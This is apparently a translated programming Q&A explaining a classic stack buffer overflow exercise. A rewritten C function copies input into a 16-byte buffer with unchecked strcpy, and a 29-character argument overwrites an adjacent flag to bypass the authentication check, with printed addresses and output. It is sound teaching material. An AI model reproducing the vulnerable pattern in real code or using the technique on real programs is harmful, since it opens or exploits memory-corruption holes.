代码示例 1:
在 little endian 中,我读到我们在较低地址中加载较低索引的位,但此示例显示相反。
当使用简单的 C 风格字符串时,字节序不适用。 Endianess 与多字节值相关,但与 char 值无关。
代码示例 2:
ascii 值为 1 的字符串不可打印,所以这似乎无法利用,对吗?
不,你在这里有一个基本的误解。您不需要将数值 1 放入 auth_flag。您只需要一个非零值。
记住
if (check_authentication(argv[1])) {
真的
if (check_authentication(argv[1]) != 0) {
^^^^
因此,对于任何非零返回值,if 条件都将为真。
为了打破身份验证检查,编译器将auth_flag 放置在内存中的某个位置之后 password_buffer。在这种情况下,您可以为程序提供一个长度超过 16 个字符的起始参数,这样多余的字符就会溢出缓冲区并在 auth_flag 的位置结束。
这是对您的代码的重写。原理是一样的。我只是使用了较短的名称并删除了一些(不必要的)代码以使示例变得简单。我还打印了变量的位置。
int ca(char* pw)
{
int af = 0;
char pw_b[16];
printf("af location: %p\n", (void*)&af);
printf("pw_b location: %p\n", (void*)pw_b);
strcpy(pw_b, pw);
return af;
}
int main(int argc, char *argv[])
{
if (argc < 2)
{
printf("wrong usage\n");
return 0;
}
if (ca(argv[1]))
{
printf("Did it...\n");
}
else
{
printf("Failed to break in\n");
}
return 0;
}
使用 gcc -O0 编译时,我会在像 ./prog abc 这样开始时得到这个输出
af location: 0x7ffd579e13cc
pw_b location: 0x7ffd579e13b0
Failed to break in
从这里我可以看到af 位于 0x1c 字节(或十进制 28)之后 pw_b。所以如果我给程序一个超过 28 个字符的参数,它可能会覆盖af(如果它没有因为其他原因崩溃......)。
所以我尝试了./prog 1234567890123456789012345678b(注意字符串中有 29 个字符),我得到了:
af location: 0x7ffc63312f8c
pw_b location: 0x7ffc63312f70
Did it...
所以我成功了...我确实破解了身份验证检查代码。
但请注意...在另一个系统上,使用另一个编译器,使用其他编译器选项等,情况可能会有所不同。所以你不能确定在你的系统上重现这个。也许您需要不同的输入,也许在您的系统上甚至不可能。首先检查变量的位置,然后计算所需的输入。